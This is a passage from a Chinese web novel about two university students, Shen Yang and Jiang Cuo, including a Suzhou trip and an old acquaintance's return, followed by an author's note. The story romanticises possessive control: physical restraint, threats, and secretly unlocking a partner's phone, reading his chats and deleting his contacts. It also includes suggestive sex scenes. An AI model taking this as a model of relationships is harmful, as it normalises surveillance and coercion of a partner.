仍然觉得不是很满意,沈泱胳膊一伸,又将江措打包回来的两份卤肉饭全都洒在了地上。 褐红色的卤肉和雪白的饭粒浇洒在冷色调的瓷砖上,江措看了眼一言不发的沈泱,什么话都没有说。 黑直的眼睫垂下来,身量高阔的青年沉默地去卫生间拿来了扫把和拖把,将地砖收拾干净后,又打开门,下楼买了两份卤肉饭。 江措这一次把饭买上来,沈泱当着他的面,又一次把饭洒在了地上。 江措又一次缄默地打扫干净。 接着,江措又下楼去买了一份饭菜。 晚上睡觉的时候,沈泱黑着脸,背对着江措,江措铁做的手臂一发力,沈泱没办法拒绝地回到他的怀里。 后背贴着男人灼热的胸膛,对方滚烫的呼吸喷洒在沈泱裸露的脖颈耳垂和侧脸。 沈泱用脚蹬他,踹他,用手肘推他,男人抱着他的力道纹丝不松,又贴着他的耳垂,不断地叫他宝宝,泱泱,江措的宝宝。 沈泱不准他叫,用脚踹他,用手肘捅他,江措依旧紧紧地抱着他,纹丝不动,沈泱把自己搞出浑身热汗,终于精疲力尽,蹙着眉靠着熟悉的胸膛,疲乏地睡了过去。 翌日,沈泱和江措早上都有课。 两所学校的上课时间一模一样,江措洗漱完,才回到房间里叫沈泱起床。 但是平日里,都需要江措叫他起床的沈泱已经坐了起来,柔软的黑发乱糟糟地顶在头上,扫了一眼门口的江措,沈泱闷不吭声地去洗漱。 两个人收拾好了,一前一后地出了门。 走出小区门口,江措叫了一声沈泱,告诉他,中午他去他学校和他一起吃午饭,午饭吃完后一起去见广播社的负责人,告诉对方,沈泱要退出广播社。 沈泱:“……” 顾不得这是人来人往的大街上,沈泱抬起脚,恼怒地踹江措两下。 沈泱转过身,愤愤地走了两步,又才想起自己的书包在江措手上。 沈泱扭身,回到江措的身前,一把将自己的书包抢了过来,又给了似乎是钢筋铁壁做的江措两下,步伐愤恨地走进了他的学校。 “沈泱。”吃过午饭,范窈在宿舍楼外面见到了沈泱。 女生宿舍人来人往,两人往外面走了几步,沈泱说明了来意,“学姐,抱歉,我可能要退出广播社了。” 站在沈泱身后,如鬼魅一般跟着沈泱的江措更改了沈泱的措辞,“不是可能,是一定。” 从沈泱出现在范窈眼底时,范窈就注意到了跟在沈泱身后的江措。 江措太高了,五官冷峻深邃,是不太容易让人忽视的存在。 何况昨天广播室里发生了那样子的事,范窈怕是一辈子都会对江措记忆深刻了。 听完江措的话,范窈又盯着江措,语气温和,带着点鼓励和劝慰,“沈泱,你再好好想想呢,我能感觉到,你其实也很喜欢在广播社的工作。” 她别有深意地说:“还是你自己的感受最重要。” 江措眼睫垂下来,睫毛压出一片暗影,微微侧眸,眨也不眨地盯着身旁的沈泱。 阳光强烈,穿过茂盛的香樟树,斑驳的光点洒落在沈泱霜雪似的脖颈,他微丰的唇抿了抿,挤出一点不及眼底的笑,“学姐,很抱歉,你还是找其他的学生来播音吧。” 范窈不死心:“沈泱,你的声音很好听,虽然才播了两天,但学校里很多同学都喜欢你的声音。” 沈泱薄红的眼皮一跳,连忙道:“我已经决定了,我要退出广播站。” 广播站是学生会下属机构之一,退出的程序很简单,尤其是沈泱才加入不到两天,程序都没走完,他告诉范窈退出后,又说了两声对不起,转过身,拉着江措走远了。 离开女生宿舍几百米后,沈泱甩开江措的衣袖,加快脚步,满脸不快往前走了过去。 江措保持着落后半步的距离,跟在了沈泱的身后。 退出广播站后的第二天,就到了周四,学校开始放中秋和国庆的双假,双假加起来一共有八天。 沈泱和江措上周就计划去苏州玩,早就提前买好了去苏州的车票。 十月初的太阳像镰刀剐蹭人的皮肤,热还是其次,主要是园子里人太多了,看不到什么江南园林的景色,全是各式各样的人头。 沈泱拿手扇了两下风,额头有几滴汗冒了出来,他抬手捶了了江措两下,抱怨道:“你这选的是什么玩的地方啊,这么热就不说了,还全是人,什么看不到。” 江措垂着眼皮,他盯着沈泱白里透红的脸颊,没说这是沈泱选的地方,选的来看的景色。 沉默地包容掉沈泱所有的不快,江措见廊桥上的游人少了一些,好脾气地问沈泱要不要拍照。 “那么多人,能拍什么照啊?”沈泱对江措的怒火还没有完全消散。 “现在那边人少了,拍两张吧,宝宝,好不容易来一趟。”见沈泱的嘴唇微干,江措把沈泱的水杯拧开,递给他,又抽出一张湿纸巾,擦了擦他额头上的汗,低声哄道。 沈泱鼻尖用力地哼了一声,见旁边的廊桥人是少了一些,走过去让江措给他拍照。 江措原来的老人机当然是没办法拍照片的,不过开学之前,江措给沈泱买了新手机,沈泱原来的手机才用了一年,还是好的,现在江措在用。 拍完照片,江措把手机拿到沈泱的眼前,江措拍照挺好看的,沈泱身后是碧水飞虹,身旁是古意盎然的扶手栏杆,构图和谐生动,沈泱勉强可以给出一个及格分。 上午逛完了园林,中午吃了苏州的特色美食,下午沈泱和江措去了博物馆,博物馆里有卖文创产品,沈泱看中了一个斜挎腰包,帆布质地,上面挂了四个巴掌大的动物玩偶,竹鼠和小浣熊,熊猫和小老虎,配色和面部表情非常大胆和和谐。 沈泱目不转睛地看了好一会儿。 江措说:“喜欢吗?喜欢就买一个。” 沈泱翻到挎包的标签,竟然要六百多块钱,摇头:“太贵了,算了。”只是带着几个卡通毛绒玩偶的挎包而已,溢价太多了。 沈泱说完,又看了几分钟,然后和江措上了三楼,参观三楼的文物。 三楼的东西看完,沈泱要去一趟洗手间,江措没去,在外面等着他,最近是国庆假期,博物馆里的人流量太大了,沈泱还排了几分钟的队。 洗干净手沈泱从洗手间里出来,江措却没有在洗手间外面的长廊里,沈泱蹙眉,转过身,寻找江措的踪迹,江措从他的身后出现了。 “你去哪里了?”沈泱拧着眉说。 “这个给你。”江措将沈泱刚刚看了好一会儿的斜挎腰包递给沈泱。 沈泱诧异道,“不是说不买的吗?” 沈泱不是曾经那个不知生活疾苦的小少爷了,六百块钱都够江措在食堂里吃一个月的饭菜。 江措把撕掉了标签的挎包递给沈泱,面色不改道:“你很喜欢它。” “宝宝,我努力赚钱,都是为了让你生活的更好,更开心的。”这的确是江措赚钱的所有动力来源,所以在沈泱出现前,江措可以把积攒下来的钱毫不犹豫地给问他要钱的人,反正钱花在自己身上还是别人身上,对江措来说,没有任何区别。 沈泱接过了帆布包,他是真的很喜欢这个挎包,太可爱了!! 只是学校附近的帆布包才买三四十一个,这个接近七百了,太贵了。 沈泱拿着帆布包,说了他一句,“这个时候你倒是讨我开心了。” 江措眉头皱了一下,知道沈泱还为前两天的事不开心,他岔开话题,“我们去楼上吧。” 沈泱应了一声好,帆布包没装东西空瘪瘪的,背着不好看。江措背着一个三十多块钱的双肩包,带着沈泱出门需要的所有的东西,沈泱把纸巾和手机塞进自己的超级可爱有趣的包包里,背着它和江措去参观四楼。 下午去博物馆完了,晚上吃的是当地的特色菜,天黑了江措陪沈泱坐船游景,玩了一整天,沈泱就是累,回到酒店,几乎是倒头就睡。 洗澡洗头都是江措伺候的。 沈泱在苏州玩了四天,原来是计划苏州玩完了之后去扬州的,可是国庆假期人太多了,哪里的景点都是人山人海,沈泱觉得他还有寒假暑假可以来玩,不想去看人山人海了,索性和江措提前回了申城。 国庆前几天,沈泱也玩的有点累,每天都要走很多的路,他也想好好地休息一下。 但回到家,也没有能得到特别好的休息,在外面玩的时候,是每天脚累,在家的这几天,却是每天的屁股和大腿累。 忍不住的喘息声从沈泱的嘴巴里溢出,沈泱又被江措按着腰换了个姿势,江措话不多,做这种事的花样却特别多! 转眼国庆节结束了,这天是边宇十九岁的生日,边宇不是本地人,家在千里之外。 沈泱他们下午没课,上午的课上完了,就去外面给边宇庆祝十九岁的生日。 回到学校已经是下午四点了,沈泱王恒从地铁口走出来,沈泱的手机响了起来。 “已经到校门口啦。” “刚刚聊天,没看手机,所以没回你的消息。” “对,要去打一会儿麻将。” “我挂了。” 沈泱把电话挂断了。 顾宝安问:“又是江措打的电话。” 沈泱看了看□□,半个多小时前,江措果然发了消息过来,当时他和顾宝安他们聊天聊的很开心,就没顾及手机消息。 沈泱没好气道:“除了他还能有谁呀?” 如果从军训开始算起来,大家认识了快两个月了,大家基本也都知道了沈泱和江措的关系。 当然,或许是江措也没有刻意隐瞒他对沈泱的与众不同,永远记得沈泱喜欢什么,大家在一起的时候,看沈泱的眼神永远要深邃,比沈泱还要先一步了解他的需求。 王恒心思细腻,很早就猜出沈泱和江措的关系了,顾宝安和边宇在王恒那里得到了他们俩的确是一对的消息后,起初是有一点震惊,不过他们三人都不恐同,也不觉得同性恋是什么恶心的癖好,短暂的惊愕之后,泰然接受了。 只是顾宝安和边宇时常私下感慨,江措什么都好,聪明英俊,爱沈泱,对沈泱比对自己还好,就是太霸道了,沈泱的什么事都要管都要知道,不过是出门和他们一起庆祝边宇的生日,短短的几个小时,给沈泱打了好几个电话。 只是沈泱虽然有时候嫌弃江措管的太宽了,但似乎又很喜欢江措,每次遇见什么感兴趣的小玩意或者小零食,总记得要和江措分享。 沈泱看完了消息,和王恒等人朝学校大门口走去。 忽然,沈泱瞥见一辆黑色的迈凯伦停在了校门口。 车舱里面下来了两个男生。 其中一个沈泱认不得,另外一个虽然只见过一面,对方现在也有了很大的变化,沈泱却一下子就认了出来。 罗布次仁把朋友送到校门口,寒暄过后,刚打算上车离开,转过身,却看见不远处走过来的四个青年。 罗布次仁一下子认出了走在最中央,白的发光的沈泱。 短暂的惊愕后,罗布次仁快步走向了沈泱,热络地叫道,“沈泱。” 沈泱站在原地,等罗布次仁过来。 罗补次仁笑了笑,“没想到能在这里碰见你,好巧啊,你在这所学校里读书吗?” 沈泱虽然没想和罗布次仁寒暄,但他既然叫住了自己,沈泱也不介意多和他说两句话,“我在这里读书,你怎么会在这里?” 对方应该不是工商大学的学生吧,两个月了,沈泱一次都没碰见过他。 罗布次仁说道:“我送我一个朋友回来。” 他打听道:“江措呢?江措在哪里读书?” 沈泱:“在隔壁申大。” “申大啊。”罗布次仁原来还以为江措会去首都读书呢,他的成绩如果不出意外,是可以去首都最好的学校读书吧?心里想着,罗布次仁掏出手机,“沈泱,加一个联系方式吧。” “我现在江城读书,江城距离距离申城也不远。” 罗布次仁的手机也是某个牌子的最新款,触屏的,和沈泱的同款不同色。 快一年过去了,罗布次仁也白了一些,不像在高原的时候,他现在穿着某个品牌的休闲套装,看起来和大多数家境优渥的大学生相差无几。 只有当他拿出手机,粗糙的掌腹纹路还带着点高原旧年的痕迹。 沈泱把手机拿出来,加了罗布次仁的联系方式,要写备注的时候,罗布次仁提醒他,“我现在改名字了,我叫陈辞。” “言辞的辞。” 沈泱打好了备注,问他在江城哪个大学读书。 “就在江大。”陈辞说道。 说完,他打量了一下沈泱,讲这样的话,“你……和江措的关系,还是很好吗?” “还行吧。”沈泱没必要和两面之缘的人讲太多他和江措的事。 也没什么好聊的了,他摆了摆手,和朋友们一起说说笑笑走进了学校里。 陈辞盯着沈泱的背影,沈泱身形挺拔,带着少年的单薄,一头黑发剪到后脑勺的位置,露出后颈一点晃人的白。 是高原上的白雪公主,但到了繁华喧嚣的大城市,依旧见之不俗的白雪公主。 边宇凑近了沈泱,“沈泱,他是谁啊?竟然开的是迈凯伦,那辆车哪怕是最低配也要两百万吧。” 边宇这句话不存在任何嫉妒的意思,纯粹是一个爱车的男大学生对于同龄人的羡慕。 “以前一个村子里的人,我和他也不熟。”沈泱没说陈辞现在这么有钱是因为认了一个有钱干爹的原因,这是人家的私事。 他们宿舍说好了回去打麻将的,上次班级团建,江恒教会了沈泱打麻将,沈泱就有一点麻将瘾。 边宇去对面宿舍借了一副小麻将回来,几个人坐在小桌子前,打了几把后,沈泱有点兴致缺缺。 他说不打了,问清楚江措在哪里后,沈泱去了隔壁申大的图书馆。 江措在看书,沈泱低头扫了一眼,字母和数字分开他都挺能认识,凑在一起,就不太懂里面的意思了。 申城大学的学习氛围要比申城工商大学浓厚一些,图书馆的每张桌子前几乎都坐了埋头苦读的学生。 只是今天不是周末,也不是考试周,没到人满为患的地步,也没什么人拼桌。 江措一个人学习,桌子对面没有人,沈泱随便从附近的书架上拿了一本地理图册,在江措的对面坐下了。 江措抬眸看了沈泱一眼。 沈泱专心致志地低着头,摆出一副他也在认真看书的样子。 江措以前倒是见过沈泱认真看书的样子,可是没办法仔细地欣赏,那个时候,只想着能从什么地方再提高一点沈泱的学习成绩,有了必须达成的目的,也那么的迫在眉睫,看着沈泱认真低头学习的样子,江措心里只能觉得欣慰。 不过沈泱似乎也并没有认真看看书,眼神看似落在书上,其实双眼没聚焦,不知道在想什么。 过了几分钟,沈泱果然把视线从地理图册上挪开,凑近江措,小声地道:“江措,我今天碰到罗布次仁了,就是原来那个给陈兵做了干儿子的罗布次仁。” “你怎么会碰到他?”江措把手里的书放下了。 沈泱:“他在江大读书,好像是送朋友过来的,今天恰好在校门口撞上了。” 沈泱盯着江措的脸色,他的脸色没有任何的变化,沈泱又讲道:“你知道他开的是什么车吗?迈凯伦呢,要两百万才能买到一辆,脚上的鞋也是阿迪的,用的手机也是现在最贵的新款呢。” 江措等沈泱说完,才神色没有任何变化的嗯了一声。 沈泱不死心地问:“你后悔了吗?哪怕是一丁点。” 如果当初他去给陈兵当干儿子,现在陈辞拥有的就都是江措的了,江措就不用每天忙着学习和兼职,骑得是从学长手里淘来的一百块的二手自行车,穿的是批发市场买的三四十一件的外套了。 “没有,一丁点都没有。”江措盯着沈泱的眼睛说。 沈泱还想再说点什么,坐在沈泱身后的女生向沈泱投来了不爽的眼神。 这里是图书馆,应该保持安静。 申大的图书馆毋庸置疑很安静,除了书页翻动的声音,没什么说话声,沈泱只好把想说的话咽了回去。 晚上,江措蹲在卫生间里,粗大的手掌在大红色的塑料盆里搓洗沈泱换下来的袜子。 沈泱早就洗了澡,他趴在床上翻了翻陈辞的朋友圈,把最近十个月的朋友圈看完后,沈泱双脚趿拉着拖鞋,捧着手机去卫生间找江措。 “江措,你看陈辞发的□□动态,他现在住的地方金碧辉煌的。”江措低头瞥了一眼,拿着他的袜子和沈泱的袜子走出卫生间,挂在了生活阳台上。 沈泱亦步亦趋地跟在江措身后,又给他看陈辞发在朋友圈的迈凯伦和出入的奢华昂贵的餐厅,“江措,你真的没有一丁点的后悔?” “陈辞原来比你还穷呢。”江措只有沈泱需要养,陈辞还有生病的爸体弱的妈不懂事的弟弟和妹妹。 “没有没有没有。”江措低下头,不让心里的郁燥流露出来,“一点后悔都没有。” 说完了,心里仍觉得不快,明明黄昏已经回答过这个问题了,但沈泱还是不相信他,不停地追问他,思及此,江措猛地将沈泱一把抱了起来。 手掌挥开书桌上的工具书,沈泱的屁股稳当当的坐在上面。 江措低下头,吻住了沈泱,舌头放肆地在沈泱的口腔里搅动着,等沈泱被亲的翻白眼的时候江措才松开他,可是心里那股恶狠狠的不快还没有彻底散下去,江措不轻不重地咬了一下他的唇瓣。 唇瓣传来轻微的刺疼感,沈泱立刻震惊地盯着江措。 江措狠声道:“沈泱,你以后再敢怀疑我后悔,我真的要把大黑鱼塞进你嘴里。” 沈泱怒道:“江措,你这是什么态度,我不过就是……” 话没说完,就被江措抱起来扔到了床上,沈泱一开始还不乐意配合,要让江措因为刚才对他的态度忏悔认错,但不多时,沈小鱼忽然被人含住了,刹那间,沈泱就像是吸了猫薄荷的波斯猫,瞬间就扑腾不动了,从脚指甲到脸颊都泛起热来,整个人晕乎乎的。 江措吃完了,仰起头,那张英俊深邃脸出现在沈泱的视网膜里,喉结一滚,全都咽了下去。 沈泱不由得缩了缩身体,都怪江措,他竟然又有反应了—— 作者有话说:其实泱宝和江措在床上超级合得来的!!! 然后评论区看到了一些负面意见,思来想去,还是想说两句 江措其实就是一直在失去,很没有安全感的人,甚至是有一点心理疾病的 他和泱宝还没有彻底磨合好,但泱宝最后还是会成为很厉害的配音演员的,做自己喜欢的事,闪闪发光,但是这中间的确有一段路要走啦。 毕竟江措很害怕失去他,因为根据他的经历,一旦放手,脱离他的控制范围,喜欢的人和物都会面目全非,所以害怕泱宝去到他无法控制的外面啦。 这章送五十个小红包啦,谢谢小可爱们的支持,阿扶也更了超级长的一章了,(应该这本书的最长的一章了!) 第49章 接下来的一段时间, 陈辞偶尔会找沈泱问一些事,比如他会打高尔夫吗?问他打高尔夫有没有什么技巧。 沈泱不会打高尔夫,他不喜欢这个运动。 后来有一次, 陈辞又问沈泱会滑雪吗? 陈辞说下周他干爹的儿子要去东北滑雪, 他也要去,但他没滑过雪,完全不知道, 想提前学习一下。 沈泱问他,陈兵不是只有一个独生子, 还病死了吗? 陈辞说结了婚的老婆只生了一个,但外面还有二奶生的儿子, 十岁。 又说陈家人很多, 陈兵有两个兄弟, 各自都有两三个孩子, 都十分孺慕陈叔, 沈泱忽然觉得陈辞的日子不是那么的好过了。 毕竟陈辞如果讨到了陈兵的欢心, 就会有很多人视他为眼中钉肉中刺, 变着法得欺负他。 沈泱会滑雪,他没有多喜欢这项运动, 他继母喜欢滑雪, 他也就学会了滑雪, 告诉了他一些滑雪的技巧,不过重要的还是跟着教练好好学一学。 又过了两周, 陈辞给沈泱打电话, 问他和江措有没有空,他今天来了申城,想要请他和江措一起吃饭。 江措周五和他们学院的一个教授去外地参加什么讲座了, 要去三天,今天晚上才能回来。 陈辞道:“那你有空吗?我请你吃饭,你在学校吗?我开车来接你。” 这已经是江措不在家的第三天了,老实说,沈泱一个人在家,有点无聊,或许也不是无聊,而是另外一种可以称之为思念的情绪。 沈泱没怎么犹豫,就同意了,“好吧,你来校门口接我。” 和陈辞约定好了之后,沈泱换了一身衣服,又给江措发了一条消息,告诉他陈辞约他吃中午饭,江措现在应该有事干,没能立刻回复沈泱的消息,沈泱收拾好了之后,就去了校门口。 陈辞约他吃饭的地点是外滩的一家江景餐厅,食物的味道暂且不说,窗户对着外滩的江景,从餐桌看出去,风景开阔秀美。 等上了菜,沈泱发现蟹黄小笼包和口水虾滋味鲜美,就是鲍鱼红烧肉对沈泱来说太甜了点。 沈泱和陈辞不熟,沈泱也不是擅长社交的人,但他有一种与生俱来的预本领,就是和谁相处,都不会尴尬和紧张,坦然自若。 也没有故意和陈辞找话说,进了餐厅,沈泱只是真心实意地夸赞外面的江景好漂亮,等菜品上桌了,拿起筷子兴致勃勃地品尝起来,一切都很自然,一点都不拘谨。 陈辞有点佩服这样子的沈泱,因为他在陈家的时候,不管和谁相处,脑袋里时常绷着一根弦。 “江措才大一,就有教授带他去参加学术会议了?”陈辞主动找话题聊天。 听到陈辞讲这样的话,沈泱的鼻子很明显地动了动,他放下了筷子,不快地盯着陈辞,“江措是很聪明的,你难道不知道吗?他大一就被教授看重那不是理所应当的吗?” 陈辞从小也是备受其他人称赞的小孩,读书好,挖松茸和虫草都很厉害,也会有一些村民艳羡地对他父母讲他们生了一个聪明懂事的小孩,他父母从来不是一副理直气壮与有荣焉的样子,反而是说,也就还行吧,然后细数他的缺点,比如太倔了,太有自己的脾气。 别人诚心的称赞等来的是最亲近的人贬低。 有时候也不是父母故意打压,而是渊源流长的自谦基因刻在了某些人的骨子里,就连现在在陈家,如果有人夸赞陈辞,陈兵也会说他还有很多需要学习的地方。 陈辞说:“江措是很聪明。” 沈泱对着他笑了笑,露出脸颊上的一个酒窝,还大方地不计较陈辞刚刚那一句无心之失了。 陈辞的心脏却猛烈地一跳,过了两秒钟,他大拇指指尖深深掐了掐食指指腹,心跳才逐渐恢复了平静。 陈辞岔开了话题,他实则也是一个极其聪明的男生,不然不会在一年不到的时间里,褪去那个高原少年的贫穷木讷笨拙。 他只和沈泱聊一些大学生活或者富二代们大多数会的一些才艺。 这顿饭吃了一个多小时。 临走之前,沈泱再要了一个流心抹茶麻薯塔的甜品,他要打包带走。 “你喜欢吃这个甜品吗?”等待服务员送来打包甜品之前,陈辞问道,心里想着江城也有一家不错的甜品店,下次过来,可以给沈泱带几个。 沈泱说:“江措喜欢吃抹茶口味的东西,我带回去给他尝尝。” 江措不挑食,什么都可以吃,似乎没什么特别喜欢吃的,也没什么不喜欢吃的,不过经过沈泱一年多的观察,江措好像有点喜欢吃苦瓜或者抹茶这种带点苦涩的东西,巧克力他也喜欢! 这个流心抹茶麻薯塔的东西,抹茶味很正宗,江措应该会喜欢。 “这么了解江措啊。”陈辞似乎无意地打趣了一句。 沈泱撇了撇嘴,“那也没有很了解。” 服务员把一份打包好的流心抹茶麻薯塔送过来,沈泱的手机刚好响了起来,是江措打来的电话。 沈泱按下接通键。 “沈泱,你在哪里?” “你没看消息吗?我和陈辞出来吃饭了。” “陈辞?” “对呀,他要请我和你一起吃午饭,你不是去香洲了吗,就只能我自己来了。” “你现在在哪里?”江措蹙眉道。 沈泱把现在的位置告诉他。 江措说:“我已经回来了,现在在家里。” 沈泱惊喜道,音量都不自觉抬高了,“你不是说下午五点才到能到家吗?” “交流会提前结束,就改签早点回来了,中午手机出了点问题,突然黑屏没办法开机,没能看到你发的消息。”江措现在是回到家后,电话卡插在了原来的老人机里面,才给沈泱打的电话,“你吃完饭了吗?” “吃完了。” “现在回家吗?我来接你?” “嗯嗯,我现在回来,你不用来接我了,陈辞开的车,我让他送我回去吧,我们还可以节约车费呢。”沈泱说。 沈泱挂断电话后,拎起服务员放在餐桌上的甜品,对陈辞道:“你送我回学校吧,我不想去射击馆了。” 刚才吃饭的时候陈辞问他下午想不想要去哪里玩,推荐了原来他和朋友去过的射击馆,沈泱想着下午在家也无所事事,便同意了,可现在江措回来了,沈泱不想去了。 “射击馆已经约好了。”陈辞露出为难的脸色。 “那你想玩的话你自己去吧,我坐地铁回去。”沈泱说。 陈辞改了口:“算了,我送你吧。” “你不去射击馆了?”沈泱打量他。 “一个人也没什么好玩的。” 有人送自己总要比坐地铁方便一点,何况还有免费的车可以乘坐。 两个人并肩走出餐厅,陈辞又似乎随口问道:“你和江措在校外租了房子住吗?” 沈泱:“对呀,就在我们学校后门旁边的小区。” 陈辞扫了眼没听懂他话里深意的沈泱,又说道,“你出门还要提前朝江措报备?征求他的同意?” 这是陈辞刚刚从沈泱的通话里得出来的信息。 江措无疑是很爱管着沈泱,他不是一定要干涉沈泱交什么朋友,比如和王恒他们来往江措从来没有阻止过,他只是要了解沈泱身边有哪些人,害怕一些人面兽心的家伙出现在沈泱的身边。 至于报备行踪,沈泱觉得很正常啊,小时候小朋友们出门了,不都是要经常向父母汇报他们的踪迹吗?家人会担心他们的。 只是沈泱的小时候,他爸爸做生意太忙了,没时间关心沈泱去了哪里,继母不是沈泱的亲生母亲,只是作为一个阿姨存在,不太好干涉沈泱的行为,奶奶又总是身体不好,没有精力,所以别的小朋友出门玩,经常会得到父母催促关心询问踪迹的电话,沈泱却不会。 因为小时候没有对这种行为产生厌恶感,长大了的沈泱反而接受良好,江措要关心就让他关心呗,毕竟沈泱出门在外,是很讨人喜欢的,又因为长的很好看,江措又很容易吃醋。 但是陈辞的语气听起来似乎别有深意,沈泱不太喜欢,他说道,“这和你有什么关系吗?”管这么多! 陈辞微笑道:“江措是这样的,很小的时候,占有欲就特别强,他小时候养过一条狗,有一次我看小狗可爱,忍不住逗了逗小狗,江措都很生气。” 沈泱不乐意了,“你拿我和狗比。” 陈辞一怔,连忙道歉,“我没有这个意思,我只是想说,江措从小到大都没变。” 沈泱不喜欢听这话,这话说的就像是陈辞和江措多么熟稔一样,竟然可以说出从小到大四个字。 沈泱斜睨了他一眼,“你和江措以前也不是很熟悉,我夏天的时候在他家住了一个月,你也没来找过他,在县城里读书的时候也没有,除了你被陈兵认为干儿子那一次。” 沈泱红润的唇瓣一张一合,“而且我平时也没从江措的嘴里听到过你,你们的关系也就是泛泛之交。” 陈辞转移了话题,“我去开车,你等我把车开过来送你回去。” 车开到沈泱的身前停下,沈泱上了迈凯伦的副驾驶,陈辞道:“是开到工商大学的校门口,还是你住的小区门口。” “开到我住的小区门口。”沈泱把具体的地点告诉他。 沈泱打开手机,发短信给江措,告诉江措他已经坐上副驾驶了,半个小时后,就能到家了。 江措立刻回复:“嗯。” 二十多分钟后,迈凯伦停在花月苑小区的门口。 陈辞朝着周围扫了一圈,花月苑距离工商大学的后校门很近,只有三百米左右。 工商大学和申城大学隔了一条街,这个小区离申城大学远一点,在一公里之内。 沈泱拉开车门下车,刚下车就看到了在小区门口的江措,沈泱眼睛一亮,拎着打包好的抹茶味甜品快步朝江措走去,眼神亮晶晶的,“江措。” 江措垂下眸,和沈泱对视了一眼,手指碰了碰他柔嫩的脸颊,然后转过头。 目光和从迈凯伦车头绕过来的陈辞对上了。 江措穿着市场买来的廉价黑色运动外套,布料硬邦邦的,微微支起来,曾经和江措一样穿着市场买来的廉价衣服的陈辞今天穿了件品牌的白衬衣和西裤,微硬的头发被打理的柔软而蓬松,脚下是造价不菲的皮鞋。 曾经的罗布次仁,现在的陈辞朝着江措走过来,寒暄了一句,“江措,好久不见。” 江措略高陈辞两三厘米,微微低着头,青年的嗓音低沉而干燥,“陈辞?” “对,以后你就叫我陈辞吧。”陈辞笑道,“今天本来是想请你和沈泱一起吃饭的,没想到你不在申城,下次我来申城,再请你们吃饭。” 陈辞又笑看着沈泱,说道:“沈泱还蛮喜欢今天中午我带他去的那家餐厅。” 又说:“我来申城的机会挺多的,尝过这里的好些餐厅,有几家我觉得沈泱应该也会喜欢,以后我带你们去。” 江措说:“不用了,你把店名发给我,我会自己带沈泱去。” 陈辞道:“都一样,反正不都是吃饭吗?” 江措说:“不一样的。” 说完,不再和陈辞交流了,江措拉着沈泱的手腕,带着他往小区内部走,沈泱走在江措身边,问他怎么在小区门口,是专门来接他的吗?又问他,陈辞是不是和以前变化很大,虽然他在久塘,只见过陈辞一面,可那时候他的普通话比头次见江措时,还要不标准。 现在陈辞不仅不带丝毫久塘口音了,反而带了点南城那边的口音,似乎是一个地地道道的南城人了。 从小区门口听陈辞的名字,一直听到了打开家门。 江措转过身,食指和中指分开,不快地掐住了沈泱的两腮。 沈泱瞪大了眼睛,两腮被人掐着,他没办法正常发音了,只能像金鱼一样从O起来嘴巴挤出几个含糊不清的字,“呜嗯(干嘛)” “不要老是提别的男人。”江措眉压着眼。 沈泱眼睛瞪的更大了一点,“呜嗯!(江措!)” 江措松开掐住沈泱两腮的两根手指,密密的眼睫低下来,声音也跟着沙哑了下来,“再叫一声。” 沈泱的耳朵紧跟着痒了起来。 江措回家后应该洗了澡,身上没有赶车后遗留下来的各种难闻的味道,只有清爽的洗衣粉的味道,带着一股腾腾的热意。 江措又碰了一下沈泱烧红的耳垂,叫了一声宝宝。 霎那间,一股过电的感觉席卷了全身,沈泱全身都软了下来。 做完了一次,又洗完了澡,沈泱记起他从餐厅带回来的甜品,指挥着江措把他抱到客厅里去。 江措把扔在玄关上的甜品拿了过来,沈泱用手指娴熟地拆开包装,拿了一个塑料勺,跪坐在沙发上,舀了一勺喂进江措的嘴里,眼神期待地望着江措,“抹茶味儿的,好吃吗?” “还行。” “就只是还行吗?这可是我刻意打包回来带给你的。”沈泱不满意江措的回答。 “嗯,很好吃。” 沈泱又笑了笑,金黄色的光线穿过客厅擦拭得透亮的大玻璃,洒落在烟灰色的大沙发外,沈泱和江措你一口我一口,没多久就吃完了半个拳头大的甜品。 吃完了甜品,江措给沈泱穿好了衣服,带着沈泱带到后街上的一家手机维修店,江措今天的手机的确忽然出现故障,开不了机。 师傅花了大半个小时,修好了江措的手机。 江措打开手机,今天上午十一点半,沈泱给他发了消息过来,告诉他陈辞请他们吃饭。 十二点的时候,发了消息,兴冲冲地告诉他在哪家餐厅。 “真的不要买一个新的手机吗?”沈泱跟着他走出维修店,“它既然能坏一次,就能再坏第二次。” “不是修好了吗?不用浪费钱了。”他的钱应该花在别的更重要的地方。 凌晨十二点,沈泱睡熟了。 江措却还没睡,他才将洗干净的床单拿到生活阳台晾晒。 回到卧室后,沈泱放在床头柜上的手机亮了两下。 江措拿起沈泱的手机,输入了解锁密码。 手机解锁成功。 竟然是陈辞给沈泱发的消息,他问沈泱睡了吗?又问他如果去吃意料,有没有什么礼仪需要注意的。 江措眯着眼,点开了沈泱和陈辞的所有聊天记录。 一般都是陈辞主动给沈泱发消息,问滑雪的技巧,问沈泱家里以前举办宴会的时候有没有什么需要注意的细节,偶尔也会诉苦。 告诉他陈兵的几个侄子有许多偷偷摸摸欺负人的心思,江措几乎都能想象到沈泱回复这些消息的表情。 一方面应该有些庆幸江措没有去南城,另外一方面会对陈辞生出一点怜悯的心情。 沈泱坏脾气只是表面上的坏,如果深入了解,就会发现沈泱有一颗很柔软的心脏,江措告诉过沈泱很多次不需要节约用钱,可沈泱现在还是被他养的不好,买东西开始看价格。 江措低头亲了亲睡梦中沈泱的额头,然后直起身体,盯着陈辞发来的消息,打出几个字。 【我是江措】 【沈泱早就睡着了】 过了片刻,陈辞发来消息:【沈泱睡着了吗?】 【那好,你也早点睡,明天我再向沈泱打听。】 盯着这条消息看了半晌,江措面无表情地把陈辞给删除了。 江措坐在床边,又检查了一下沈泱的手机,前两天有个女生以社团活动的名义加了沈泱的好友,问了他一些社团的内容后,总是找一些别的话题聊。 沈泱不是那么有耐心的人,不想回答的事就懒得回复了。 现在的聊天记录是女生中午给沈泱发的中午好,以及一个小时前给沈泱发的晚安。 虽然沈泱都没回复对方,江措还是把这个人也从沈泱的手机删除了。 清理完沈泱的手机,江措关了灯,从另外一侧上了床。 江措躺上床后,将距离他有点远的沈泱拉到了他的怀里。 原来的沈泱完全不能接受和江措睡在一起的,起初的半个月,沈泱被江措禁锢在他的胸膛前,总是要挣扎好一会儿,才会蹙着眉头,艰涩地接受这个睡眠姿势,而且半夜总是会醒一下,因为这个睡眠姿势他不习惯,不舒服。 而现在把沈泱锁在自己的怀里,沈泱只会轻微地翕动的一下鼻翼,娴熟地在江措的胸口拱动几下,寻找一个最舒服的姿势,眉眼舒展,沉甸甸地睡过去。 养成这个习惯多久?没花到一年的时间。 可是江措并不是很难替代的人,虽然愿意像江措这样什么都为沈泱付出的人很少,可一定不是没有,江措并没有什么特殊的优势。 